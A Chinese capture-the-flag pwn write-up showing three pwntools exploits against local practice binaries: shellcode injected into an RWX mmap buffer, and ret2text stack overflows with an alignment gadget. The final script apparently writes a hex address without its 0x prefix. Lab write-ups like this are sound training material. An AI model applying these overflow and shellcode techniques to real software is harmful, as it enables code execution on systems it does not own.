目录
题目链接:
链接:https://pan.baidu.com/s/1Hgv6ABokKJzpiu44cNozaQ?pwd=eazw
提取码:eazw
checksec pwn查看保护措施
file pwn查看文件格式
ida反编译出来查看
buf = mmap((void *)0x233000, 0x1000uLL, 7, 34, -1, 0LL);这里是将buf的数据位置写入mmap分配的位置0x233000
获取rbp到rsp的距离位0xb0-0x80为48位,再加上需要填充8位垃圾数据给寄存器,
exp就为
from pwn import * io = process("./pwn") context(os = 'linux',arch = 'amd64',log_level='debug') buf = 0x233000 shellcode = asm(shellcraft.sh()) io.sendline(shellcode) #将构造的shellcode写入buf payload =b'a'*56+p64(buf) io.sendline(payload) io.interactive()
checksec pwn1查看保护机制
file pwn1查看文件格式
ida分析
gdb调试
from pwn import * context.arch = "amd64" io = process("./pwn1") payload = b'a'*23 + p64(0x40201B) io.sendline(payload) io.interactive()
后面exp打不通需要我们栈对齐后再打
最后的完整exp
from pwn import * context.arch = "amd64" io = process("./pwn1") ret =0x401016 payload = b'a'*23 +p64(ret)+ p64(0x40201B) io.sendline(payload) io.interactive()
checksec pwn3先看看保护措施
file pwn3查看文件格式
gdb pwn3 动态调试给主函数打断点(我已经ida看过了确定主函数存在栈溢出)
找到rbp距离rsp的距离
外加64位寄存器本身需要填充的8位垃圾数据,ida中有后门函数地址
可构建exp
from pwn import * context.arch = "amd64" io = process("./pwn3") payload = b'A'*40+p64(401186) io.sendline(payload) io.interactive()
获取flag